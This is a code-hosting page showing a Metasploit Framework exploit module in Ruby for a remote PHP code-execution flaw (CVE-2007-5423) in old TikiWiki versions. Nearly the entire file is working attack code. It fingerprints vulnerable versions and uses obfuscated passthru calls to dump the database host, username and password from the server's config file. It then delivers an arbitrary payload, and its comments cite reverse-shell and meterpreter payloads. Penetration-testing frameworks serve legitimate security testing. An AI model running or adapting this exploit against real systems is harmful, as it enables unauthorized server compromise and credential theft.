PageRenderTime 57ms CodeModel.GetById 30ms RepoModel.GetById 1ms app.codeStats 0ms

/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb

https://bitbucket.org/jrossi/metasploit
Ruby | 236 lines | 217 code | 5 blank | 14 comment | 0 complexity | f4ce811ce0accf45ef1e93a5176f1a6f MD5 | raw file
Possible License(s): GPL-2.0, LGPL-2.1, BSD-3-Clause
  1. ##
  2. # $Id$
  3. ##
  4. ##
  5. # This file is part of the Metasploit Framework and may be subject to
  6. # redistribution and commercial restrictions. Please see the Metasploit
  7. # Framework web site for more information on licensing and terms of use.
  8. # http://metasploit.com/framework/
  9. ##
  10. require 'msf/core'
  11. class Metasploit3 < Msf::Exploit::Remote
  12. Rank = ExcellentRanking
  13. include Msf::Exploit::Remote::HttpClient
  14. def initialize(info = {})
  15. super(update_info(info,
  16. 'Name' => 'TikiWiki tiki-graph_formula Remote PHP Code Execution',
  17. 'Description' => %q{
  18. TikiWiki (<= 1.9.8) contains a flaw that may allow a remote
  19. attacker to execute arbitrary PHP code. The issue is due to
  20. 'tiki-graph_formula.php' script not properly sanitizing user
  21. input supplied to create_function(), which may allow a remote
  22. attacker to execute arbitrary PHP code resulting in a loss of
  23. integrity.
  24. },
  25. 'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'jduck' ],
  26. 'License' => MSF_LICENSE,
  27. 'Version' => '$Revision$',
  28. 'References' =>
  29. [
  30. ['CVE', '2007-5423'],
  31. ['OSVDB', '40478'],
  32. ['BID', '26006'],
  33. ],
  34. 'Privileged' => false,
  35. 'Payload' =>
  36. {
  37. 'DisableNops' => true,
  38. # 6k. Really it's the max length of a URI minus the junk
  39. # we have to put in the request to trigger the
  40. # vulnerability. On Apache, 8190 is the max, so this
  41. # should be a pretty safe value.
  42. 'Space' => 6144,
  43. # Yes, 'x' is a badchar. The vulnerable code replaces it with '$x'.
  44. 'BadChars' => "`\"' %&x",
  45. },
  46. 'Platform' => 'php',
  47. 'Arch' => ARCH_PHP,
  48. 'Targets' => [[ 'Automatic', { }]],
  49. 'DisclosureDate' => 'Oct 10 2007',
  50. 'DefaultTarget' => 0))
  51. register_options(
  52. [
  53. OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki"]),
  54. ], self.class)
  55. end
  56. def check
  57. res = send_request_raw(
  58. {
  59. 'uri' => datastore['URI'] + "/tiki-index.php",
  60. 'method' => 'GET',
  61. 'headers' =>
  62. {
  63. 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
  64. 'Connection' => 'Close',
  65. }
  66. }, 5)
  67. http_fingerprint({ :response => res }) # check method
  68. if (res and res.code == 200 and res.body.match(/TikiWiki v?([0-9\.]*)/))
  69. ver = $1
  70. #print_status("Detected TikiWiki version #{ver}")
  71. ver = ver.split('.')
  72. return Exploit::CheckCode::Safe if (ver[0] != '1')
  73. return Exploit::CheckCode::Safe if (ver[1] != '9')
  74. if (ver.length > 2)
  75. ver2 = ver[2].to_i
  76. if (ver.length > 3)
  77. ver3 = ver[3].to_i
  78. else
  79. ver3 = 0
  80. end
  81. return Exploit::CheckCode::Safe if (ver2 > 8)
  82. return Exploit::CheckCode::Safe if (ver2 == 8 and ver3 > 0)
  83. end
  84. return Exploit::CheckCode::Vulnerable
  85. end
  86. Exploit::CheckCode::Safe
  87. end
  88. def exploit
  89. print_status("Attempting to obtain database credentials...")
  90. url_db_local = build_uri("passthru(" +
  91. "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)." + # echo YYY
  92. "chr(59)." + # ;
  93. # cat db/local.php
  94. "chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +
  95. "chr(59)." + # ;
  96. "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)" + # echo YYY
  97. ")")
  98. res = send_request_raw({
  99. 'uri' => url_db_local,
  100. 'method' => 'GET',
  101. 'headers' =>
  102. {
  103. 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
  104. 'Connection' => 'Close',
  105. }
  106. }, 5)
  107. if (res and res.message == "OK" and res.body)
  108. print_status("The server returned : #{res.code} #{res.message}")
  109. print_status("Server version : #{res.headers['Server']}")
  110. db_tiki = res.body.match(/db_tiki='(.*?)';/m)
  111. if (db_tiki)
  112. dbversion = res.body.match(/dbversion_tiki='(.*?)';/m)
  113. host_tiki = res.body.match(/host_tiki='(.*?)';/m)
  114. user_tiki = res.body.match(/user_tiki='(.*?)';/m)
  115. pass_tiki = res.body.match(/pass_tiki='(.*?)';/m)
  116. dbs_tiki = res.body.match(/dbs_tiki='(.*?)';/m)
  117. print_status("TikiWiki database informations : \n")
  118. print("db_tiki : " + db_tiki[1] + "\n")
  119. print("dbversion : " + dbversion[1] + "\n")
  120. print("host_tiki : " + host_tiki[1] + "\n")
  121. print("user_tiki : " + user_tiki[1] + "\n")
  122. print("pass_tiki : " + pass_tiki[1] + "\n")
  123. print("dbs_tiki : " + dbs_tiki[1] + "\n\n")
  124. end
  125. else
  126. print_status("No response from the server")
  127. end
  128. print_status("Attempting to execute our payload...")
  129. command = Rex::Text.uri_encode(payload.encoded)
  130. url_cmd = build_uri(payload.encoded)
  131. res = send_request_raw({
  132. 'uri' => url_cmd,
  133. 'method' => 'GET',
  134. 'headers' =>
  135. {
  136. 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
  137. 'Connection' => 'Close',
  138. }
  139. }, 5)
  140. end
  141. #
  142. # This function will build a fairly randomish query string to be used
  143. # when exploiting this vulnerability :)
  144. #
  145. def build_uri(f_val)
  146. uri = ''
  147. uri << datastore['URI']
  148. uri << "/tiki-graph_formula.php?"
  149. # Requirements:
  150. query = ''
  151. # 1. w,h,s,min,max must all be numeric
  152. vars = %w{ w h s min max }
  153. min = nil
  154. vars.each { |el|
  155. query << "&" if query.length > 0
  156. num = 1+rand(999)
  157. # 2. min must be less than max
  158. case el
  159. when 's'
  160. num = 1+rand(500)
  161. when 'min'
  162. if (min)
  163. num = min
  164. else
  165. min = num
  166. end
  167. when 'max'
  168. min ||= num
  169. num = min + 1 + rand(99)
  170. end
  171. query << "#{el}=#{num}"
  172. }
  173. # 3. cannot use `, ', ", or space
  174. if (f_val.index('\'') or f_val.index('"') or f_val.index('`') or f_val.index(' '))
  175. raise RuntimeError, "The value for the 'f' variable contains an invalid character!"
  176. end
  177. # 4. the function must be one of:
  178. valid = %w{
  179. abs acos acosh asin asinh atan2 atan atanh ceil cos cosh deg2rad
  180. exp expm1 floor fmod hypot log10 log1p log max min pi pow rad2deg round sin
  181. sinh sqrt tan tanh
  182. }
  183. func = valid[rand(valid.length)]
  184. # 5. f must be an array
  185. query << "&" if query.length > 0
  186. # Strip off the semi-colon that the encoder insists on including.
  187. if f_val[-1,1] == ";"
  188. f_val = f_val[0,f_val.length-1]
  189. end
  190. query << "f[]=x.#{func}.#{f_val}"
  191. # This doesn't seem to be necessary on PHP 5.2.4, tikiwiki 1.9.5
  192. # Tested with php/reverse_php, php/meterpreter_reverse_tcp, and
  193. # php/meterpreter/reverse_tcp
  194. # -egypt
  195. # If we dont kill php here it spins eating 100% cpu :-/
  196. #query << '.die()'
  197. # 6. two options for 't' - png and pdf
  198. # - png requires php's gd extension
  199. # - pdf, if you set 'p', requires php pdf extension
  200. # -- we always use 'pdf' with a null 'p'
  201. query << "&" if query.length > 0
  202. query << 't=pdf'
  203. # 7. title must be set
  204. query << '&title='
  205. uri << query
  206. uri
  207. end
  208. end